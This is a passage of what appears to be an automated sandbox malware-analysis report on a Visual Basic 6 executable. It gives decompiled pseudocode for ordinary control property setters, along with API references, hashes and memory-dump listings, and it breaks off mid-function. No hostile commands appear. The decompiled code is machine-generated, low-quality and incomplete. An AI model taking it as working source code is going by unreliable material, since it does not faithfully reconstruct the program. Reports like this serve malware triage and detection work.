0x00000000
0x00423e09
0x00423e05
0x00423dac
0x00423dac
0x00423db2
0x00423db4
0x00423db6
0x00423db6
0x00423dc5
0x00423dc7
0x00423dc8
0x00000000
0x00423dca
0x00423dca
0x00423dcb
0x00423dcc
0x00423dd1
0x00423dd5
0x00423ddb
0x00423ddd
0x00000000
0x00423ddf
0x00423ddf
0x00423de1
0x00423de3
0x00000000
0x00423de5
0x00423de5
0x00000000
0x00423de5
0x00423de3
0x00423ddd
0x00423dc8
0x00000000
0x00423daa
0x00000000
0x00423d63
0x00423d5d
0x00423d50
0x00423d46
0x00423d3e
0x00000000

APIs

__vbaI4Str.MSVBVM60(&H1000,00000004,?,?,72A46AEE,00000000,?,?), ref: 00423CFD
__vbaI4Str.MSVBVM60(&H1000,00000004,00000000,-00000018,00000028,?,00000000,?,?,?,?,00000000,?,?), ref: 00423D7D
__vbaUI1I2.MSVBVM60(?,?,00000000,?,?), ref: 00423DEB
__vbaErrorOverflow.MSVBVM60(00000000,?,?,?,?,00000000,?,?), ref: 00423E1E

Strings

&H1000, xrefs: 00423CF6, 00423D78

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$ErrorOverflow
String ID: &H1000
API String ID: 275696625-2648123403
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 64bb9756d3c69426e1d85879386c8959f5bfb4570975878a94bb64cfe91e0cb3
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: F8310271B043105BC324EF21E844EAB73FAEBC8746F41082EB68893240D67CED84C76A

Uniqueness

Uniqueness Score: -1.00%

Function 004170C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E004170C0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr* _t22;
				void* _t24;
				void* _t27;
				void* _t28;
				intOrPtr* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				void* _t44;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t48;

				_t47 = _t46 - 0xc;
				 *[fs:0x0] = _t47;
				_t48 = _t47 - 0x24;
				_v16 = _t48;
				_v12 = 0x401418;
				_v8 = 0;
				_t43 = _a4;
				 *((intOrPtr*)( *_t43 + 4))(_t43, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t44);
				_v28 = 0;
				_t22 =  *((intOrPtr*)( *_t43 + 0x3ac))(_t43);
				__imp____vbaObjSet( &_v28, _t22);
				_t40 = _t22;
				_t24 =  *((intOrPtr*)( *_t40 + 0x54))(_t40, _a8);
				asm("fclex");
				if(_t24 < 0) {
					__imp____vbaHresultCheckObj(_t24, _t40, 0x410414, 0x54);
				}
				__imp____vbaFreeObj();
				_t41 = _t48 - 0x10;
				 *_t41 = 8;
				 *((intOrPtr*)(_t41 + 4)) = _v40;
				 *(_t41 + 8) = L"ButtonBackColor";
				 *((intOrPtr*)(_t41 + 0xc)) = _v32;
				_t27 =  *((intOrPtr*)( *_t43 + 0x390))(_t43);
				asm("fclex");
				if(_t27 < 0) {
					__imp____vbaHresultCheckObj(_t27, _t43, 0x40f430, 0x390);
				}
				_t28 =  *((intOrPtr*)( *_t43 + 0x8b4))(_t43);
				_push(0x417194);
				return _t28;
			}

0x004170c3
0x004170d2
0x004170d9
0x004170df
0x004170e2
0x004170eb
0x004170ee
0x004170f4
0x004170fa
0x004170fd
0x00417108
0x00417111
0x00417117
0x0041711c
0x0041711e
0x00417129
0x00417129
0x00417132
0x00417140
0x0041714a
0x0041714f
0x00417152
0x00417158
0x0041715b
0x00417163
0x00417165
0x00417173
0x00417173
0x0041717c
0x00417182
0x00000000

APIs

__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00417108
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000054,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00417129
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00417132
__vbaHresultCheckObj.MSVBVM60(00000000,00401418,0040F430,00000390), ref: 00417173

Strings

ButtonBackColor, xrefs: 00417144

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult$Free
String ID: ButtonBackColor
API String ID: 3976024557-3751566386
Opcode ID: 3b987c34004e9753320590fa2bc5a0748421a7b2fddbcf62a5bab024931de8a0
Instruction ID: 71db052ecdae409ba0909371a949f5de8a33efcce4d4d7b31651c4b982fe7c9d
Opcode Fuzzy Hash: 3b987c34004e9753320590fa2bc5a0748421a7b2fddbcf62a5bab024931de8a0
Instruction Fuzzy Hash: 96216D74900205BFC7009F68C989A9ABBF9FF49700F20853AF945E7291C778A9858B94

Uniqueness

Uniqueness Score: -1.00%

Function 00414CC0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00414CC0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr* _t22;
				void* _t24;
				void* _t27;
				void* _t28;
				intOrPtr* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				void* _t44;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t48;

				_t47 = _t46 - 0xc;
				 *[fs:0x0] = _t47;
				_t48 = _t47 - 0x24;
				_v16 = _t48;
				_v12 = 0x401260;
				_v8 = 0;
				_t43 = _a4;
				 *((intOrPtr*)( *_t43 + 4))(_t43, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t44);
				_v28 = 0;
				_t22 =  *((intOrPtr*)( *_t43 + 0x3b0))(_t43);
				__imp____vbaObjSet( &_v28, _t22);
				_t40 = _t22;
				_t24 =  *((intOrPtr*)( *_t40 + 0x54))(_t40, _a8);
				asm("fclex");
				if(_t24 < 0) {
					__imp____vbaHresultCheckObj(_t24, _t40, 0x410414, 0x54);
				}
				__imp____vbaFreeObj();
				_t41 = _t48 - 0x10;
				 *_t41 = 8;
				 *((intOrPtr*)(_t41 + 4)) = _v40;
				 *(_t41 + 8) = L"BackColor";
				 *((intOrPtr*)(_t41 + 0xc)) = _v32;
				_t27 =  *((intOrPtr*)( *_t43 + 0x390))(_t43);
				asm("fclex");
				if(_t27 < 0) {
					__imp____vbaHresultCheckObj(_t27, _t43, 0x40f430, 0x390);
				}
				_t28 =  *((intOrPtr*)( *_t43 + 0x8b4))(_t43);
				_push(0x414d94);
				return _t28;
			}

0x00414cc3
0x00414cd2
0x00414cd9
0x00414cdf
0x00414ce2
0x00414ceb
0x00414cee
0x00414cf4
0x00414cfa
0x00414cfd
0x00414d08
0x00414d11
0x00414d17
0x00414d1c
0x00414d1e
0x00414d29
0x00414d29
0x00414d32
0x00414d40
0x00414d4a
0x00414d4f
0x00414d52
0x00414d58
0x00414d5b
0x00414d63
0x00414d65
0x00414d73
0x00414d73
0x00414d7c
0x00414d82
0x00000000

APIs

__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00414D08
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000054,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00414D29
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00414D32
__vbaHresultCheckObj.MSVBVM60(00000000,00401260,0040F430,00000390), ref: 00414D73

Strings

BackColor, xrefs: 00414D44

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult$Free
String ID: BackColor
API String ID: 3976024557-3019154971
Opcode ID: 2ab2aa2643bbad4e55afb473e8ea9daa847f1db1624756398e75763e3f0a8fc3
Instruction ID: 9c24af2665aa12c466e817f53982f4e97f53592b14043ebffd5b4acdc69109bf
Opcode Fuzzy Hash: 2ab2aa2643bbad4e55afb473e8ea9daa847f1db1624756398e75763e3f0a8fc3
Instruction Fuzzy Hash: B4217F74900205AFD7049FA8C989EDABBF8FF48704F20847EF545E7690CB78A885CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414E80, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00414E80(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr* _t22;
				void* _t24;
				void* _t27;
				void* _t28;
				intOrPtr* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				void* _t44;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t48;

				_t47 = _t46 - 0xc;
				 *[fs:0x0] = _t47;
				_t48 = _t47 - 0x24;
				_v16 = _t48;
				_v12 = 0x401280;
				_v8 = 0;
				_t43 = _a4;
				 *((intOrPtr*)( *_t43 + 4))(_t43, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t44);
				_v28 = 0;
				_t22 =  *((intOrPtr*)( *_t43 + 0x3b0))(_t43);
				__imp____vbaObjSet( &_v28, _t22);
				_t40 = _t22;
				_t24 =  *((intOrPtr*)( *_t40 + 0x6c))(_t40, _a8);
				asm("fclex");
				if(_t24 < 0) {
					__imp____vbaHresultCheckObj(_t24, _t40, 0x410414, 0x6c);
				}
				__imp____vbaFreeObj();
				_t41 = _t48 - 0x10;
				 *_t41 = 8;
				 *((intOrPtr*)(_t41 + 4)) = _v40;
				 *(_t41 + 8) = L"ForeColor";
				 *((intOrPtr*)(_t41 + 0xc)) = _v32;
				_t27 =  *((intOrPtr*)( *_t43 + 0x390))(_t43);
				asm("fclex");
				if(_t27 < 0) {
					__imp____vbaHresultCheckObj(_t27, _t43, 0x40f430, 0x390);
				}
				_t28 =  *((intOrPtr*)( *_t43 + 0x8b4))(_t43);
				_push(0x414f54);
				return _t28;
			}

0x00414e83
0x00414e92
0x00414e99
0x00414e9f
0x00414ea2
0x00414eab
0x00414eae
0x00414eb4
0x00414eba
0x00414ebd
0x00414ec8
0x00414ed1
0x00414ed7
0x00414edc
0x00414ede
0x00414ee9
0x00414ee9
0x00414ef2
0x00414f00
0x00414f0a
0x00414f0f
0x00414f12
0x00414f18
0x00414f1b
0x00414f23
0x00414f25
0x00414f33
0x00414f33
0x00414f3c
0x00414f42
0x00000000

APIs

__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00414EC8
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000006C,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00414EE9
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00414EF2
__vbaHresultCheckObj.MSVBVM60(00000000,00401280,0040F430,00000390), ref: 00414F33

Strings

ForeColor, xrefs: 00414F04

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult$Free
String ID: ForeColor
API String ID: 3976024557-3216175
Opcode ID: eefcccb9295053de52599cb7315220aa0d7fc486a939f50cc934217536083238
Instruction ID: 200adc891a931f130d032e10b44e63acef645ae65958817123503f6469996b9c
Opcode Fuzzy Hash: eefcccb9295053de52599cb7315220aa0d7fc486a939f50cc934217536083238
Instruction Fuzzy Hash: F6214F74900205AFC7009F69C989EAABBF8FF49704F20853EF545E7691C778A985CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00418030, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E00418030(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, short _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _t22;
				void* _t25;
				intOrPtr* _t28;
				intOrPtr* _t38;
				void* _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;

				_t42 = _t41 - 0xc;
				 *[fs:0x0] = _t42;
				_t43 = _t42 - 0x2c;
				_v16 = _t43;
				_v12 = 0x4014e0;
				_v8 = 0;
				_t38 = _a4;
				 *((intOrPtr*)( *_t38 + 4))(_t38, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t39);
				_t6 = _t38 + 0x70; // 0x0
				_t22 =  *_t6;
				_v40 = 0;
				 *((short*)(_t38 + 0x4c)) = _a8;
				if(_t22 != 0) {
					__imp____vbaI4Var( &_v40, 0);
					_t11 = _t38 + 0x70; // 0x0
					E0040F5DC();
					__imp____vbaSetSystemError( *_t11, 0xc5, _t22);
				}
				_t28 = _t43 - 0x10;
				 *_t28 = 8;
				 *((intOrPtr*)(_t28 + 4)) = _v52;
				 *(_t28 + 8) = L"MaxLen";
				 *((intOrPtr*)(_t28 + 0xc)) = _v44;
				_t25 =  *((intOrPtr*)( *_t38 + 0x390))(_t38);
				asm("fclex");
				if(_t25 < 0) {
					__imp____vbaHresultCheckObj(_t25, _t38, 0x40f430, 0x390);
				}
				__imp____vbaFreeVar(0x4180e9);
				return _t25;
			}

0x00418033
0x00418042
0x00418049
0x0041804f
0x00418052
0x0041805b
0x0041805e
0x00418064
0x00418067
0x00418067
0x00418070
0x00418073
0x00418077
0x0041807e
0x00418085
0x0041808e
0x00418093
0x00418093
0x004180a1
0x004180ab
0x004180b0
0x004180b3
0x004180b9
0x004180bc
0x004180c4
0x004180c6
0x004180d4
0x004180d4
0x004180e2
0x004180e8

APIs

__vbaI4Var.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 0041807E
__vbaSetSystemError.MSVBVM60(00000000,000000C5,00000000), ref: 00418093
__vbaHresultCheckObj.MSVBVM60(00000000,004014E0,0040F430,00000390), ref: 004180D4
__vbaFreeVar.MSVBVM60(004180E9,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 004180E2

Strings

MaxLen, xrefs: 004180A5

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckErrorFreeHresultSystem
String ID: MaxLen
API String ID: 2324377981-3286092166
Opcode ID: 3efd6e372770f0cc05d0e2e4e43b620ab7edef7ce5c7e643b02334a5fa94dfe8
Instruction ID: 43fb9eac10100783ebb17336cda9c751793323e4abdf3db86d3de273639be0b1
Opcode Fuzzy Hash: 3efd6e372770f0cc05d0e2e4e43b620ab7edef7ce5c7e643b02334a5fa94dfe8
Instruction Fuzzy Hash: 55116D74900204EFCB10EFA9CA89A9ABBF8FF58700F14856AF545E7660C774A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 003E08F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: a9c55f1ebf84d8446c404b699cc1538e131eecd2c81e9e5e120baa798ee65dcb
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: B44149716143A55BC329DF6BCC85BAFB3D8ABC4740F084A3EF540DA2C1D2B0D94887A5

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA00, Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B730,?,00000000,004016F0,00401724), ref: 0041DA46
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411158,00000028), ref: 0041DA67
__vbaVarTextTstEq.MSVBVM60(?,?), ref: 0041DA78
__vbaFreeVar.MSVBVM60 ref: 0041DA83
__vbaVarMove.MSVBVM60 ref: 0041DAA5

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresultMoveNew2Text
String ID:
API String ID: 3236348378-0
Opcode ID: 8c6afbb01b9905e70d77daef7e8ee2e29f94c3ba3ddb5ceb0b079cc7ff36a70d
Instruction ID: fdc46e1b3e124afdd385c64085a586ee7b82449415dd7df5bddc25780375a6e7
Opcode Fuzzy Hash: 8c6afbb01b9905e70d77daef7e8ee2e29f94c3ba3ddb5ceb0b079cc7ff36a70d
Instruction Fuzzy Hash: A1116AB4C01248ABCB10DFA5CA48ADEBBF8EF58750F20451AE046B72A4D3785A49CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00421610, Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401D26), ref: 00421656
__vbaStrCmp.MSVBVM60(?,00000000,?,?,?,?,?,00401D26), ref: 00421663
__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401D26), ref: 00421672
__vbaRaiseEvent.MSVBVM60(00401A10,00000001,00000000,?,?,?,?,?,00401D26), ref: 00421679
__vbaFreeStr.MSVBVM60(00421691,?,?,?,?,?,00401D26), ref: 0042168A

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Copy$EventFreeRaise
String ID:
API String ID: 154623747-0
Opcode ID: fa92cc8b5623ba4c8629e18c7f4c6513b7b9acaae828e53bd6cd7ba46c6761ba
Instruction ID: b2d60d446fcf4414bed0bbee23a1a3e3726a2811a8e07469eda3bd4126f49575
Opcode Fuzzy Hash: fa92cc8b5623ba4c8629e18c7f4c6513b7b9acaae828e53bd6cd7ba46c6761ba
Instruction Fuzzy Hash: 89015274A00209AFDB10DF55DA86AAFBBB8FF44700F10801AF945B3660D774A945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004217D0, Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401D26), ref: 00421816
__vbaStrCmp.MSVBVM60(?,00421968,?,?,?,?,?,00401D26), ref: 00421823
__vbaStrCopy.MSVBVM60(?,?,?,?,?,00401D26), ref: 00421832
__vbaRaiseEvent.MSVBVM60(00401A40,00000001,00000000,?,?,?,?,?,00401D26), ref: 00421839
__vbaFreeStr.MSVBVM60(00421851,?,?,?,?,?,00401D26), ref: 0042184A

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Copy$EventFreeRaise
String ID:
API String ID: 154623747-0
Opcode ID: caca446f4272e883799ed2886b058530965cada52f6969c94c22aa01c1ef8de3
Instruction ID: 66dacd79cef0309c3f62b2f2e94dc7dbe992664eea759b47d75e66a3ecdcf870
Opcode Fuzzy Hash: caca446f4272e883799ed2886b058530965cada52f6969c94c22aa01c1ef8de3
Instruction Fuzzy Hash: BF015274A00209AFDB10EF55DA86AAFBFB9FF44700F108019F605A3660D774A945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00417B70, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00417B70(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				char _v44;
				intOrPtr _t30;
				short _t31;
				void* _t34;
				intOrPtr* _t35;
				void* _t38;
				char _t39;
				void* _t51;
				intOrPtr* _t53;
				void* _t55;
				intOrPtr* _t56;
				intOrPtr _t58;
				intOrPtr _t59;

				 *[fs:0x0] = _t58;
				_t59 = _t58 - 0x28;
				_v16 = _t59;
				_v12 = 0x4014a0;
				_t39 = 0;
				_v8 = 0;
				_t56 = _a4;
				 *((intOrPtr*)( *_t56 + 4))(_t56, _t51, _t55, _t38,  *[fs:0x0], 0x401d26);
				_v44 = 0;
				_t30 = _a8;
				if(_t30 == 0) {
					_t11 = _t56 + 0x70; // 0x0
					_t31 =  &_v44;
					_push(_t31);
					_push(0);
					_push(0xcf);
					_v44 = 0;
					_push( *_t11);
					goto L4;
				} else {
					_t31 = _t30 - 1;
					if(_t31 == 0) {
						_t8 = _t56 + 0x70; // 0x0
						_push( &_v44);
						_push(0xffffffff);
						_push(0xcf);
						_v44 = 0;
						_push( *_t8);
						L4:
						E0040F5DC();
						__imp____vbaSetSystemError();
						 *((intOrPtr*)(_t56 + 0x80)) = _t31;
						_t39 = 0;
					}
				}
				__imp____vbaI2I4();
				_t53 = _t59 - 0x10;
				 *((short*)(_t56 + 0x46)) = _t31;
				 *_t53 = 8;
				 *((intOrPtr*)(_t53 + 4)) = _v36;
				 *(_t53 + 8) = L"ControlType";
				 *((intOrPtr*)(_t53 + 0xc)) = _v28;
				_t34 =  *((intOrPtr*)( *_t56 + 0x390))(_t56);
				asm("fclex");
				if(_t34 < _t39) {
					__imp____vbaHresultCheckObj(_t34, _t56, 0x40f430, 0x390);
				}
				_t35 = _a4;
				 *((intOrPtr*)( *_t35 + 8))(_t35);
				 *[fs:0x0] = _v24;
				return _v8;
			}

0x00417b82
0x00417b89
0x00417b8f
0x00417b92
0x00417b99
0x00417b9b
0x00417b9e
0x00417ba4
0x00417baa
0x00417baf
0x00417bb1
0x00417bca
0x00417bcd
0x00417bd0
0x00417bd1
0x00417bd2
0x00417bd7
0x00417bda
0x00000000
0x00417bb3
0x00417bb3
0x00417bb4
0x00417bb6
0x00417bbc
0x00417bbd
0x00417bbf
0x00417bc4
0x00417bc7
0x00417bdb
0x00417bdb
0x00417be2
0x00417be8
0x00417bee
0x00417bee
0x00417bb4
0x00417bf2
0x00417c00
0x00417c04
0x00417c0d
0x00417c13
0x00417c16
0x00417c1c
0x00417c1f
0x00417c27
0x00417c29
0x00417c37
0x00417c37
0x00417c3d
0x00417c43
0x00417c4e
0x00417c59

APIs

__vbaSetSystemError.MSVBVM60(00000000,000000CF,00000000,?), ref: 00417BE2
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00417BF2
__vbaHresultCheckObj.MSVBVM60(00000000,004014A0,0040F430,00000390), ref: 00417C37

Strings

ControlType, xrefs: 00417C08

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckErrorHresultSystem
String ID: ControlType
API String ID: 2264031751-1799722345
Opcode ID: 3d5db9f3613f0ae59e05d343d6ba557caa3bb43035d8f9d6a913e73e48bd9124
Instruction ID: e588fa7e3cd09ed406906bacfaf3bae688aa11bf68797b30e330ee10e2c33fd8
Opcode Fuzzy Hash: 3d5db9f3613f0ae59e05d343d6ba557caa3bb43035d8f9d6a913e73e48bd9124
Instruction Fuzzy Hash: 98318E71A00209AFC710DFA8C985AEABBB9FB08710F10853EF549E7790D734A845CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00416BD0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00416BD0(intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				short _t23;
				void* _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				void* _t32;
				intOrPtr* _t33;
				void* _t42;
				void* _t45;
				intOrPtr* _t46;
				intOrPtr _t48;
				intOrPtr _t49;

				 *[fs:0x0] = _t48;
				_t49 = _t48 - 0x1c;
				_v16 = _t49;
				_v12 = 0x4013d0;
				_v8 = 0;
				_t46 = _a4;
				_t23 =  *((intOrPtr*)( *_t46 + 4))(_t46, _t42, _t45, _t32,  *[fs:0x0], 0x401d26);
				__imp____vbaI2I4();
				_t33 = _t49 - 0x10;
				 *((short*)(_t46 + 0x3c)) = _t23;
				 *_t33 = 8;
				 *((intOrPtr*)(_t33 + 4)) = _v36;
				 *(_t33 + 8) = L"Alignment";
				 *((intOrPtr*)(_t33 + 0xc)) = _v28;
				_t26 =  *((intOrPtr*)( *_t46 + 0x390))(_t46);
				asm("fclex");
				if(_t26 < 0) {
